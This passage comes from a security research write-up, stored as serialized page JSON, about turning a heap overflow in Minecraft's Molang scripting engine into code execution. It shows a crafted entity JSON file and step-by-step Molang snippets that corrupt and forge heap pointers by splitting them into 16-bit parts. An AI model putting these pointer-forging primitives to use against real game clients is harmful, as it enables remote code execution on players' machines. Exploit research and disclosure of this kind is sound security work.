executes:",{"type":24,"tag":25,"props":155374,"children":155375},{},[155376],{"type":24,"tag":6301,"props":155377,"children":155379},{"alt":52402,"src":155378},"/posts/minecraft-heap-overflow-to-rce/image9.png",[],{"type":24,"tag":25,"props":155381,"children":155382},{},[155383],{"type":29,"value":155384},"And this is after execution:",{"type":24,"tag":25,"props":155386,"children":155387},{},[155388],{"type":24,"tag":6301,"props":155389,"children":155391},{"alt":52402,"src":155390},"/posts/minecraft-heap-overflow-to-rce/image10.png",[],{"type":24,"tag":25,"props":155393,"children":155394},{},[155395],{"type":29,"value":155396},"For reference, this is what the relevant entity json file containing our Molang looks like:",{"type":24,"tag":80,"props":155398,"children":155400},{"code":155399,"language":35812,"meta":7,"className":35810,"style":7},"{\n \"format_version\": \"1.10.0\",\n \"minecraft:client_entity\": {\n \"description\": {\n \"identifier\": \"minecraft:leash_knot\",\n\n [...]\n \n \"scripts\": {\n \"initialize\": [\n \"variable.a = 0;\",\n \"variable.b = 0;\",\n \"variable.c = 0;\",\n [...]\n ],\n \"pre_animation\": [\n \"variable.a = 2.310732e-27;\"\n ]\n },\n }\n }\n}\n",[155401],{"type":24,"tag":32,"props":155402,"children":155403},{"__ignoreMap":7},[155404,155411,155432,155444,155456,155477,155484,155491,155498,155510,155523,155535,155547,155559,155575,155582,155594,155602,155610,155617,155624,155631],{"type":24,"tag":90,"props":155405,"children":155406},{"class":92,"line":93},[155407],{"type":24,"tag":90,"props":155408,"children":155409},{"style":114},[155410],{"type":29,"value":2221},{"type":24,"tag":90,"props":155412,"children":155413},{"class":92,"line":200},[155414,155419,155423,155428],{"type":24,"tag":90,"props":155415,"children":155416},{"style":136},[155417],{"type":29,"value":155418}," \"format_version\"",{"type":24,"tag":90,"props":155420,"children":155421},{"style":114},[155422],{"type":29,"value":1833},{"type":24,"tag":90,"props":155424,"children":155425},{"style":1085},[155426],{"type":29,"value":155427},"\"1.10.0\"",{"type":24,"tag":90,"props":155429,"children":155430},{"style":114},[155431],{"type":29,"value":748},{"type":24,"tag":90,"props":155433,"children":155434},{"class":92,"line":239},[155435,155440],{"type":24,"tag":90,"props":155436,"children":155437},{"style":136},[155438],{"type":29,"value":155439}," \"minecraft:client_entity\"",{"type":24,"tag":90,"props":155441,"children":155442},{"style":114},[155443],{"type":29,"value":38838},{"type":24,"tag":90,"props":155445,"children":155446},{"class":92,"line":248},[155447,155452],{"type":24,"tag":90,"props":155448,"children":155449},{"style":136},[155450],{"type":29,"value":155451}," \"description\"",{"type":24,"tag":90,"props":155453,"children":155454},{"style":114},[155455],{"type":29,"value":38838},{"type":24,"tag":90,"props":155457,"children":155458},{"class":92,"line":258},[155459,155464,155468,155473],{"type":24,"tag":90,"props":155460,"children":155461},{"style":136},[155462],{"type":29,"value":155463}," \"identifier\"",{"type":24,"tag":90,"props":155465,"children":155466},{"style":114},[155467],{"type":29,"value":1833},{"type":24,"tag":90,"props":155469,"children":155470},{"style":1085},[155471],{"type":29,"value":155472},"\"minecraft:leash_knot\"",{"type":24,"tag":90,"props":155474,"children":155475},{"style":114},[155476],{"type":29,"value":748},{"type":24,"tag":90,"props":155478,"children":155479},{"class":92,"line":272},[155480],{"type":24,"tag":90,"props":155481,"children":155482},{"emptyLinePlaceholder":16},[155483],{"type":29,"value":245},{"type":24,"tag":90,"props":155485,"children":155486},{"class":92,"line":281},[155487],{"type":24,"tag":90,"props":155488,"children":155489},{"style":24203},[155490],{"type":29,"value":129271},{"type":24,"tag":90,"props":155492,"children":155493},{"class":92,"line":384},[155494],{"type":24,"tag":90,"props":155495,"children":155496},{"style":114},[155497],{"type":29,"value":154581},{"type":24,"tag":90,"props":155499,"children":155500},{"class":92,"line":420},[155501,155506],{"type":24,"tag":90,"props":155502,"children":155503},{"style":136},[155504],{"type":29,"value":155505}," \"scripts\"",{"type":24,"tag":90,"props":155507,"children":155508},{"style":114},[155509],{"type":29,"value":38838},{"type":24,"tag":90,"props":155511,"children":155512},{"class":92,"line":428},[155513,155518],{"type":24,"tag":90,"props":155514,"children":155515},{"style":136},[155516],{"type":29,"value":155517}," \"initialize\"",{"type":24,"tag":90,"props":155519,"children":155520},{"style":114},[155521],{"type":29,"value":155522},": [\n",{"type":24,"tag":90,"props":155524,"children":155525},{"class":92,"line":437},[155526,155531],{"type":24,"tag":90,"props":155527,"children":155528},{"style":1085},[155529],{"type":29,"value":155530}," \"variable.a = 0;\"",{"type":24,"tag":90,"props":155532,"children":155533},{"style":114},[155534],{"type":29,"value":748},{"type":24,"tag":90,"props":155536,"children":155537},{"class":92,"line":574},[155538,155543],{"type":24,"tag":90,"props":155539,"children":155540},{"style":1085},[155541],{"type":29,"value":155542}," \"variable.b = 0;\"",{"type":24,"tag":90,"props":155544,"children":155545},{"style":114},[155546],{"type":29,"value":748},{"type":24,"tag":90,"props":155548,"children":155549},{"class":92,"line":606},[155550,155555],{"type":24,"tag":90,"props":155551,"children":155552},{"style":1085},[155553],{"type":29,"value":155554}," \"variable.c = 0;\"",{"type":24,"tag":90,"props":155556,"children":155557},{"style":114},[155558],{"type":29,"value":748},{"type":24,"tag":90,"props":155560,"children":155561},{"class":92,"line":615},[155562,155567,155571],{"type":24,"tag":90,"props":155563,"children":155564},{"style":114},[155565],{"type":29,"value":155566}," [",{"type":24,"tag":90,"props":155568,"children":155569},{"style":24203},[155570],{"type":29,"value":3013},{"type":24,"tag":90,"props":155572,"children":155573},{"style":114},[155574],{"type":29,"value":14141},{"type":24,"tag":90,"props":155576,"children":155577},{"class":92,"line":623},[155578],{"type":24,"tag":90,"props":155579,"children":155580},{"style":114},[155581],{"type":29,"value":45468},{"type":24,"tag":90,"props":155583,"children":155584},{"class":92,"line":632},[155585,155590],{"type":24,"tag":90,"props":155586,"children":155587},{"style":136},[155588],{"type":29,"value":155589}," \"pre_animation\"",{"type":24,"tag":90,"props":155591,"children":155592},{"style":114},[155593],{"type":29,"value":155522},{"type":24,"tag":90,"props":155595,"children":155596},{"class":92,"line":669},[155597],{"type":24,"tag":90,"props":155598,"children":155599},{"style":1085},[155600],{"type":29,"value":155601}," \"variable.a = 2.310732e-27;\"\n",{"type":24,"tag":90,"props":155603,"children":155604},{"class":92,"line":683},[155605],{"type":24,"tag":90,"props":155606,"children":155607},{"style":114},[155608],{"type":29,"value":155609}," ]\n",{"type":24,"tag":90,"props":155611,"children":155612},{"class":92,"line":737},[155613],{"type":24,"tag":90,"props":155614,"children":155615},{"style":114},[155616],{"type":29,"value":39015},{"type":24,"tag":90,"props":155618,"children":155619},{"class":92,"line":751},[155620],{"type":24,"tag":90,"props":155621,"children":155622},{"style":114},[155623],{"type":29,"value":612},{"type":24,"tag":90,"props":155625,"children":155626},{"class":92,"line":782},[155627],{"type":24,"tag":90,"props":155628,"children":155629},{"style":114},[155630],{"type":29,"value":8257},{"type":24,"tag":90,"props":155632,"children":155633},{"class":92,"line":791},[155634],{"type":24,"tag":90,"props":155635,"children":155636},{"style":114},[155637],{"type":29,"value":827},{"type":24,"tag":25,"props":155639,"children":155640},{},[155641,155643,155648,155650,155655,155657,155662],{"type":29,"value":155642},"As shown, the pointer of a variable at offset ",{"type":24,"tag":32,"props":155644,"children":155646},{"className":155645},[],[155647],{"type":29,"value":154692},{"type":29,"value":155649}," was modified and the core concept works. During ",{"type":24,"tag":32,"props":155651,"children":155653},{"className":155652},[],[155654],{"type":29,"value":154650},{"type":29,"value":155656}," copy, pointers of some other variables above offset ",{"type":24,"tag":32,"props":155658,"children":155660},{"className":155659},[],[155661],{"type":29,"value":154692},{"type":29,"value":155663}," were removed, but this is fine as we control these variables and can simply not update them during execution. However, we discovered other issues with this approach.",{"type":24,"tag":25,"props":155665,"children":155666},{},[155667],{"type":29,"value":155668},"As mentioned earlier, the only number type in Molang is a 32-bit float, which causes two major problems:",{"type":24,"tag":3207,"props":155670,"children":155671},{},[155672,155685],{"type":24,"tag":3104,"props":155673,"children":155674},{},[155675,155677,155683],{"type":29,"value":155676},"The pointer increment is inconsistent because of ASLR. If the lower 32 bits of the address are larger than ",{"type":24,"tag":32,"props":155678,"children":155680},{"className":155679},[],[155681],{"type":29,"value":155682},"FLT_MAX",{"type":29,"value":155684},", the value becomes an invalid float causing the increment operation to fail.",{"type":24,"tag":3104,"props":155686,"children":155687},{},[155688,155690,155695,155697,155702,155703,155708,155710,155715],{"type":29,"value":155689},"As noted before, during assignment, ",{"type":24,"tag":32,"props":155691,"children":155693},{"className":155692},[],[155694],{"type":29,"value":154650},{"type":29,"value":155696}," fields are copied, and the ",{"type":24,"tag":32,"props":155698,"children":155700},{"className":155699},[],[155701],{"type":29,"value":40968},{"type":29,"value":154740},{"type":24,"tag":32,"props":155704,"children":155706},{"className":155705},[],[155707],{"type":29,"value":57459},{"type":29,"value":155709},". Since our source ",{"type":24,"tag":32,"props":155711,"children":155713},{"className":155712},[],[155714],{"type":29,"value":154650},{"type":29,"value":155716}," (calculation rvalue) only has the lower 32 bits populated (due to the 32-bit float type), the upper 32 bits of the destination address are always erased.",{"type":24,"tag":25,"props":155718,"children":155719},{},[155720],{"type":29,"value":155721},"Because of these issues, this idea alone wouldn’t work. We needed to either adjust our approach or come up with an entirely new one.",{"type":24,"tag":20686,"props":155723,"children":155725},{"id":155724},"expanding-the-idea",[155726],{"type":29,"value":155727},"Expanding the Idea",{"type":24,"tag":25,"props":155729,"children":155730},{},[155731,155733,155738,155740,155745,155746,155751,155753,155758],{"type":29,"value":155732},"As mentioned earlier, the ",{"type":24,"tag":32,"props":155734,"children":155736},{"className":155735},[],[155737],{"type":29,"value":34570},{"type":29,"value":155739}," field of ",{"type":24,"tag":32,"props":155741,"children":155743},{"className":155742},[],[155744],{"type":29,"value":154650},{"type":29,"value":1947},{"type":24,"tag":32,"props":155747,"children":155749},{"className":155748},[],[155750],{"type":29,"value":59758},{"type":29,"value":155752},". During assignment, the upper 32 bits are not touched and therefore remain uninitialized. This can be observed in the debugger screenshot above - the 32 bits directly below the ",{"type":24,"tag":32,"props":155754,"children":155756},{"className":155755},[],[155757],{"type":29,"value":40968},{"type":29,"value":155759}," field remain unchanged before and after Molang execution.",{"type":24,"tag":25,"props":155761,"children":155762},{},[155763,155765,155770],{"type":29,"value":155764},"Because of this, we thought that we could corrupt two variables instead of just one. The plan was to modify the lower 32 bits of a variable pointer using one corrupted variable, and then restore the upper 32 bits with another corrupted variable pointing to the ",{"type":24,"tag":32,"props":155766,"children":155768},{"className":155767},[],[155769],{"type":29,"value":154758},{"type":29,"value":155771},"’s allocated buffer + 4.",{"type":24,"tag":25,"props":155773,"children":155774},{},[155775,155777,155782,155784,155789,155791,155796,155797,155803],{"type":29,"value":155776},"In the example below, ",{"type":24,"tag":32,"props":155778,"children":155780},{"className":155779},[],[155781],{"type":29,"value":155184},{"type":29,"value":155783}," points to ",{"type":24,"tag":32,"props":155785,"children":155787},{"className":155786},[],[155788],{"type":29,"value":154758},{"type":29,"value":155790},", while ",{"type":24,"tag":32,"props":155792,"children":155794},{"className":155793},[],[155795],{"type":29,"value":155198},{"type":29,"value":155783},{"type":24,"tag":32,"props":155798,"children":155800},{"className":155799},[],[155801],{"type":29,"value":155802},"MolangVariableMap + 4",{"type":29,"value":78},{"type":24,"tag":80,"props":155805,"children":155807},{"code":155806}," variable.f pointer \n | \n +-------------+-------------+\n v v\n \n +-------------+-------------+\n | a0 bb cc dd | 80 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-------------------+ \n+-------------+ \n| . . . | \n",[155808],{"type":24,"tag":32,"props":155809,"children":155810},{"__ignoreMap":7},[155811],{"type":29,"value":155806},{"type":24,"tag":25,"props":155813,"children":155814},{},[155815,155817,155822,155823,155828,155830,155835,155837,155842,155844,155849],{"type":29,"value":155816},"Here, the ",{"type":24,"tag":32,"props":155818,"children":155820},{"className":155819},[],[155821],{"type":29,"value":40968},{"type":29,"value":155739},{"type":24,"tag":32,"props":155824,"children":155826},{"className":155825},[],[155827],{"type":29,"value":155184},{"type":29,"value":155829}," starts at the lower 32 bits of the ",{"type":24,"tag":32,"props":155831,"children":155833},{"className":155832},[],[155834],{"type":29,"value":155254},{"type":29,"value":155836}," pointer, while ",{"type":24,"tag":32,"props":155838,"children":155840},{"className":155839},[],[155841],{"type":29,"value":155198},{"type":29,"value":155843}," starts at the upper 32 bits. This means we can store the upper 32 bits of the ",{"type":24,"tag":32,"props":155845,"children":155847},{"className":155846},[],[155848],{"type":29,"value":155254},{"type":29,"value":155850}," pointer in a separate variable:",{"type":24,"tag":80,"props":155852,"children":155854},{"code":155853},"variable.saved_upper_32 = variable.b;\n",[155855],{"type":24,"tag":32,"props":155856,"children":155857},{"__ignoreMap":7},[155858],{"type":29,"value":155853},{"type":24,"tag":25,"props":155860,"children":155861},{},[155862],{"type":29,"value":155863},"Then we can modify the lower 32 bits of the pointer:",{"type":24,"tag":80,"props":155865,"children":155867},{"code":155866},"variable.a = variable.a + itof(0x8);\n",[155868],{"type":24,"tag":32,"props":155869,"children":155870},{"__ignoreMap":7},[155871],{"type":29,"value":155866},{"type":24,"tag":25,"props":155873,"children":155874},{},[155875],{"type":29,"value":155876},"After this operation, the upper 32 bits are cleared while the lower bits are adjusted:",{"type":24,"tag":80,"props":155878,"children":155880},{"code":155879}," +-------------+-------------+\n | a8 bb cc dd | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-------------------+ \n+-------------+ \n| . . . | \n",[155881],{"type":24,"tag":32,"props":155882,"children":155883},{"__ignoreMap":7},[155884],{"type":29,"value":155879},{"type":24,"tag":25,"props":155886,"children":155887},{},[155888,155890,155895],{"type":29,"value":155889},"Since the 32 bits directly below the ",{"type":24,"tag":32,"props":155891,"children":155893},{"className":155892},[],[155894],{"type":29,"value":40968},{"type":29,"value":155896}," field remain untouched during assignment, we can simply restore the upper bits:",{"type":24,"tag":80,"props":155898,"children":155900},{"code":155899},"variable.b = variable.saved_upper_32;\n",[155901],{"type":24,"tag":32,"props":155902,"children":155903},{"__ignoreMap":7},[155904],{"type":29,"value":155899},{"type":24,"tag":25,"props":155906,"children":155907},{},[155908,155910,155915],{"type":29,"value":155909},"Now ",{"type":24,"tag":32,"props":155911,"children":155913},{"className":155912},[],[155914],{"type":29,"value":155254},{"type":29,"value":155916}," pointer is restored and we've incremented it by 8, achieving the desired state:",{"type":24,"tag":80,"props":155918,"children":155920},{"code":155919}," +-------------+-------------+\n | a8 bb cc dd | 80 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-------------------+ \n+-------------+ \n| . . . | \n",[155921],{"type":24,"tag":32,"props":155922,"children":155923},{"__ignoreMap":7},[155924],{"type":29,"value":155919},{"type":24,"tag":25,"props":155926,"children":155927},{},[155928,155930,155935],{"type":29,"value":155929},"This bypasses the issue of the upper 32 bits being cleared, but raises another question: how do we find a pointer to ",{"type":24,"tag":32,"props":155931,"children":155933},{"className":155932},[],[155934],{"type":29,"value":155802},{"type":29,"value":155936}," on the heap?",{"type":24,"tag":25,"props":155938,"children":155939},{},[155940,155942,155947,155949,155955],{"type":29,"value":155941},"Additionally, adding 8 to ",{"type":24,"tag":32,"props":155943,"children":155945},{"className":155944},[],[155946],{"type":29,"value":155184},{"type":29,"value":155948}," in the example above wouldn’t work because ",{"type":24,"tag":32,"props":155950,"children":155952},{"className":155951},[],[155953],{"type":29,"value":155954},"0xddccbba0",{"type":29,"value":155956}," is not a valid float. So the first issue still remains unresolved.",{"type":24,"tag":20686,"props":155958,"children":155960},{"id":155959},"the-final-approach",[155961],{"type":29,"value":155962},"The Final Approach",{"type":24,"tag":25,"props":155964,"children":155965},{},[155966,155968,155973,155975,155981],{"type":29,"value":155967},"We realized that instead of having the second pointer at ",{"type":24,"tag":32,"props":155969,"children":155971},{"className":155970},[],[155972],{"type":29,"value":155802},{"type":29,"value":155974},", we could instead have it at ",{"type":24,"tag":32,"props":155976,"children":155978},{"className":155977},[],[155979],{"type":29,"value":155980},"MolangVariableMap + 2",{"type":29,"value":155982},", which would resolve both of our issues.",{"type":24,"tag":25,"props":155984,"children":155985},{},[155986,155988,155993,155994,155999],{"type":29,"value":155987},"Let’s revisit the previous example, but this time ",{"type":24,"tag":32,"props":155989,"children":155991},{"className":155990},[],[155992],{"type":29,"value":155198},{"type":29,"value":155783},{"type":24,"tag":32,"props":155995,"children":155997},{"className":155996},[],[155998],{"type":29,"value":155980},{"type":29,"value":78},{"type":24,"tag":80,"props":156001,"children":156003},{"code":156002}," +-------------+-------------+\n | a0 bb cc dd | 80 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[156004],{"type":24,"tag":32,"props":156005,"children":156006},{"__ignoreMap":7},[156007],{"type":29,"value":156002},{"type":24,"tag":25,"props":156009,"children":156010},{},[156011,156013,156018],{"type":29,"value":156012},"With this setup, we can calculate any address relative to ",{"type":24,"tag":32,"props":156014,"children":156016},{"className":156015},[],[156017],{"type":29,"value":155254},{"type":29,"value":156019}," by first saving the upper 48 bits of the address:",{"type":24,"tag":80,"props":156021,"children":156023},{"code":156022},"variable.saved_upper_48 = variable.b;\n",[156024],{"type":24,"tag":32,"props":156025,"children":156026},{"__ignoreMap":7},[156027],{"type":29,"value":156022},{"type":24,"tag":25,"props":156029,"children":156030},{},[156031,156032,156038,156040,156046],{"type":29,"value":131660},{"type":24,"tag":32,"props":156033,"children":156035},{"className":156034},[],[156036],{"type":29,"value":156037},"variable.saved_upper_48",{"type":29,"value":156039}," holds the value ",{"type":24,"tag":32,"props":156041,"children":156043},{"className":156042},[],[156044],{"type":29,"value":156045},"0x1c80ddcc",{"type":29,"value":226},{"type":24,"tag":25,"props":156048,"children":156049},{},[156050],{"type":29,"value":156051},"To fix our earlier problem of being unable to increment invalid float values, we can simply clear the upper 48 bits:",{"type":24,"tag":80,"props":156053,"children":156055},{"code":156054},"variable.b = 0;\n",[156056],{"type":24,"tag":32,"props":156057,"children":156058},{"__ignoreMap":7},[156059],{"type":29,"value":156054},{"type":24,"tag":25,"props":156061,"children":156062},{},[156063],{"type":29,"value":156064},"Resulting in the following state:",{"type":24,"tag":80,"props":156066,"children":156068},{"code":156067}," +-------------+-------------+\n | a0 bb 00 00 | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[156069],{"type":24,"tag":32,"props":156070,"children":156071},{"__ignoreMap":7},[156072],{"type":29,"value":156067},{"type":24,"tag":25,"props":156074,"children":156075},{},[156076,156078,156083,156085,156091,156093,156098],{"type":29,"value":156077},"Now, the value of ",{"type":24,"tag":32,"props":156079,"children":156081},{"className":156080},[],[156082],{"type":29,"value":155184},{"type":29,"value":156084}," only spans 16 bits (",{"type":24,"tag":32,"props":156086,"children":156088},{"className":156087},[],[156089],{"type":29,"value":156090},"0xbba0",{"type":29,"value":156092}," specifically), which is always a valid float since it’s far below ",{"type":24,"tag":32,"props":156094,"children":156096},{"className":156095},[],[156097],{"type":29,"value":155682},{"type":29,"value":226},{"type":24,"tag":25,"props":156100,"children":156101},{},[156102,156104,156109],{"type":29,"value":156103},"We can now safely adjust the lower 16 bits of the pointer by incrementing ",{"type":24,"tag":32,"props":156105,"children":156107},{"className":156106},[],[156108],{"type":29,"value":155184},{"type":29,"value":78},{"type":24,"tag":80,"props":156111,"children":156112},{"code":155866},[156113],{"type":24,"tag":32,"props":156114,"children":156115},{"__ignoreMap":7},[156116],{"type":29,"value":155866},{"type":24,"tag":25,"props":156118,"children":156119},{},[156120],{"type":29,"value":156121},"Which results in:",{"type":24,"tag":80,"props":156123,"children":156125},{"code":156124}," +-------------+-------------+\n | a8 bb 00 00 | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[156126],{"type":24,"tag":32,"props":156127,"children":156128},{"__ignoreMap":7},[156129],{"type":29,"value":156124},{"type":24,"tag":25,"props":156131,"children":156132},{},[156133],{"type":29,"value":156134},"If we only wanted to increment the pointer by 8, we could finish by restoring the upper 48 bits:",{"type":24,"tag":80,"props":156136,"children":156138},{"code":156137},"variable.b = variable.saved_upper_48;\n",[156139],{"type":24,"tag":32,"props":156140,"children":156141},{"__ignoreMap":7},[156142],{"type":29,"value":156137},{"type":24,"tag":25,"props":156144,"children":156145},{},[156146],{"type":29,"value":156147},"Yielding a valid pointer again:",{"type":24,"tag":80,"props":156149,"children":156151},{"code":156150}," +-------------+-------------+\n | a8 bb cc dd | 80 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[156152],{"type":24,"tag":32,"props":156153,"children":156154},{"__ignoreMap":7},[156155],{"type":29,"value":156150},{"type":24,"tag":25,"props":156157,"children":156158},{},[156159],{"type":29,"value":156160},"However, if we wanted to increment the pointer by a value larger than 16 bits can represent, we would continue by first saving the adjusted lower 16 bits:",{"type":24,"tag":80,"props":156162,"children":156164},{"code":156163},"variable.saved_adjusted_lower_16 = variable.a;\n",[156165],{"type":24,"tag":32,"props":156166,"children":156167},{"__ignoreMap":7},[156168],{"type":29,"value":156163},{"type":24,"tag":25,"props":156170,"children":156171},{},[156172],{"type":29,"value":156173},"Next, we need to extract the middle and upper 16 bits of the address. We start by restoring the previously saved upper 48 bits:",{"type":24,"tag":80,"props":156175,"children":156177},{"code":156176},"variable.a = variable.saved_upper_48;\n",[156178],{"type":24,"tag":32,"props":156179,"children":156180},{"__ignoreMap":7},[156181],{"type":29,"value":156176},{"type":24,"tag":25,"props":156183,"children":156184},{},[156185],{"type":29,"value":156186},"This produces the following state:",{"type":24,"tag":80,"props":156188,"children":156190},{"code":156189}," +-------------+-------------+\n | cc dd 80 1c | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[156191],{"type":24,"tag":32,"props":156192,"children":156193},{"__ignoreMap":7},[156194],{"type":29,"value":156189},{"type":24,"tag":25,"props":156196,"children":156197},{},[156198,156200,156205,156207,156213,156215,156221,156223,156228,156230,156235],{"type":29,"value":156199},"As shown, ",{"type":24,"tag":32,"props":156201,"children":156203},{"className":156202},[],[156204],{"type":29,"value":155198},{"type":29,"value":156206}," now contains the upper 16 bits of the address (",{"type":24,"tag":32,"props":156208,"children":156210},{"className":156209},[],[156211],{"type":29,"value":156212},"0x1c80",{"type":29,"value":156214},"), which we can store as ",{"type":24,"tag":32,"props":156216,"children":156218},{"className":156217},[],[156219],{"type":29,"value":156220},"variable.saved_upper_16 = variable.b",{"type":29,"value":156222},". Meanwhile, ",{"type":24,"tag":32,"props":156224,"children":156226},{"className":156225},[],[156227],{"type":29,"value":155184},{"type":29,"value":156229}," contains both the middle and upper 16 bits. To isolate the middle bits, we simply clear ",{"type":24,"tag":32,"props":156231,"children":156233},{"className":156232},[],[156234],{"type":29,"value":155198},{"type":29,"value":78},{"type":24,"tag":80,"props":156237,"children":156238},{"code":156054},[156239],{"type":24,"tag":32,"props":156240,"children":156241},{"__ignoreMap":7},[156242],{"type":29,"value":156054},{"type":24,"tag":25,"props":156244,"children":156245},{},[156246],{"type":29,"value":156247},"Leaving us with:",{"type":24,"tag":80,"props":156249,"children":156251},{"code":156250}," +-------------+-------------+\n | cc dd 00 00 | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[156252],{"type":24,"tag":32,"props":156253,"children":156254},{"__ignoreMap":7},[156255],{"type":29,"value":156250},{"type":24,"tag":25,"props":156257,"children":156258},{},[156259],{"type":29,"value":156260},"We can now save the middle 16 bits:",{"type":24,"tag":80,"props":156262,"children":156264},{"code":156263},"variable.saved_middle_16 = variable.a;\n",[156265],{"type":24,"tag":32,"props":156266,"children":156267},{"__ignoreMap":7},[156268],{"type":29,"value":156263},{"type":24,"tag":25,"props":156270,"children":156271},{},[156272],{"type":29,"value":156273},"At this point, we have:",{"type":24,"tag":80,"props":156275,"children":156277},{"code":156276},"variable.saved_adjusted_lower_16 = 0xbba8\nvariable.saved_middle_16 = 0xddcc\nvariable.saved_upper_16 = 0x1c80\n",[156278],{"type":24,"tag":32,"props":156279,"children":156280},{"__ignoreMap":7},[156281],{"type":29,"value":156276},{"type":24,"tag":25,"props":156283,"children":156284},{},[156285],{"type":29,"value":156286},"All three parts are valid float values, ensuring deterministic calculations.",{"type":24,"tag":25,"props":156288,"children":156289},{},[156290],{"type":29,"value":156291},"If we needed to increment the pointer by more than the maximum 16-bit value, we would simply increment the middle and upper parts accordingly:",{"type":24,"tag":80,"props":156293,"children":156295},{"code":156294},"variable.saved_adjusted_middle_16 = variable.saved_middle_16 + itof(0x1);\nvariable.saved_adjusted_upper_16 = variable.saved_upper_16 + itof(0x1);\n",[156296],{"type":24,"tag":32,"props":156297,"children":156298},{"__ignoreMap":7},[156299],{"type":29,"value":156294},{"type":24,"tag":25,"props":156301,"children":156302},{},[156303],{"type":29,"value":156304},"After modifying the three 16-bit parts, we can reconstruct the full pointer by reversing the extraction process. We start by forging the upper 48 bits:",{"type":24,"tag":80,"props":156306,"children":156308},{"code":156307},"variable.a = variable.saved_adjusted_middle_16;\n",[156309],{"type":24,"tag":32,"props":156310,"children":156311},{"__ignoreMap":7},[156312],{"type":29,"value":156307},{"type":24,"tag":25,"props":156314,"children":156315},{},[156316,156318,156323,156324,156330,156331,156337],{"type":29,"value":156317},"Setting ",{"type":24,"tag":32,"props":156319,"children":156321},{"className":156320},[],[156322],{"type":29,"value":155184},{"type":29,"value":58601},{"type":24,"tag":32,"props":156325,"children":156327},{"className":156326},[],[156328],{"type":29,"value":156329},"0xddcd",{"type":29,"value":1151},{"type":24,"tag":32,"props":156332,"children":156334},{"className":156333},[],[156335],{"type":29,"value":156336},"0xddcc + 1",{"type":29,"value":156338},"), and then:",{"type":24,"tag":80,"props":156340,"children":156342},{"code":156341},"variable.b = variable.saved_adjusted_upper_16;\n",[156343],{"type":24,"tag":32,"props":156344,"children":156345},{"__ignoreMap":7},[156346],{"type":29,"value":156341},{"type":24,"tag":25,"props":156348,"children":156349},{},[156350,156352,156357,156359,156365,156366,156372],{"type":29,"value":156351},"Resulting in ",{"type":24,"tag":32,"props":156353,"children":156355},{"className":156354},[],[156356],{"type":29,"value":155198},{"type":29,"value":156358}," value becoming ",{"type":24,"tag":32,"props":156360,"children":156362},{"className":156361},[],[156363],{"type":29,"value":156364},"0x1c81",{"type":29,"value":1151},{"type":24,"tag":32,"props":156367,"children":156369},{"className":156368},[],[156370],{"type":29,"value":156371},"0x1c80 + 1",{"type":29,"value":25754},{"type":24,"tag":80,"props":156374,"children":156376},{"code":156375}," +-------------+-------------+\n | cd dd 81 1c | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[156377],{"type":24,"tag":32,"props":156378,"children":156379},{"__ignoreMap":7},[156380],{"type":29,"value":156375},{"type":24,"tag":25,"props":156382,"children":156383},{},[156384],{"type":29,"value":156385},"Now we save the adjusted upper 48 bits:",{"type":24,"tag":80,"props":156387,"children":156389},{"code":156388},"variable.saved_adjusted_upper_48 = variable.a;\n",[156390],{"type":24,"tag":32,"props":156391,"children":156392},{"__ignoreMap":7},[156393],{"type":29,"value":156388},{"type":24,"tag":25,"props":156395,"children":156396},{},[156397],{"type":29,"value":156398},"Finally, we attach the lower 16 bits:",{"type":24,"tag":80,"props":156400,"children":156402},{"code":156401},"variable.a = variable.saved_adjusted_lower_16;\n",[156403],{"type":24,"tag":32,"props":156404,"children":156405},{"__ignoreMap":7},[156406],{"type":29,"value":156401},{"type":24,"tag":80,"props":156408,"children":156410},{"code":156409}," +-------------+-------------+\n | a8 bb 00 00 | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[156411],{"type":24,"tag":32,"props":156412,"children":156413},{"__ignoreMap":7},[156414],{"type":29,"value":156409},{"type":24,"tag":25,"props":156416,"children":156417},{},[156418],{"type":29,"value":156419},"And by setting:",{"type":24,"tag":80,"props":156421,"children":156423},{"code":156422},"variable.b = variable.saved_adjusted_upper_48;\n",[156424],{"type":24,"tag":32,"props":156425,"children":156426},{"__ignoreMap":7},[156427],{"type":29,"value":156422},{"type":24,"tag":25,"props":156429,"children":156430},{},[156431],{"type":29,"value":156432},"We forge the final adjusted pointer:",{"type":24,"tag":80,"props":156434,"children":156436},{"code":156435}," +-------------+-------------+\n | a8 bb cd dd | 81 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[156437],{"type":24,"tag":32,"props":156438,"children":156439},{"__ignoreMap":7},[156440],{"type":29,"value":156435},{"type":24,"tag":20586,"props":156442,"children":156443},{},[],{"type":24,"tag":25,"props":156445,"children":156446},{},[156447,156449,156454],{"type":29,"value":156448},"With this, we now have a method to calculate any pointer we want. However, the previous question still remains: how do we find a pointer to 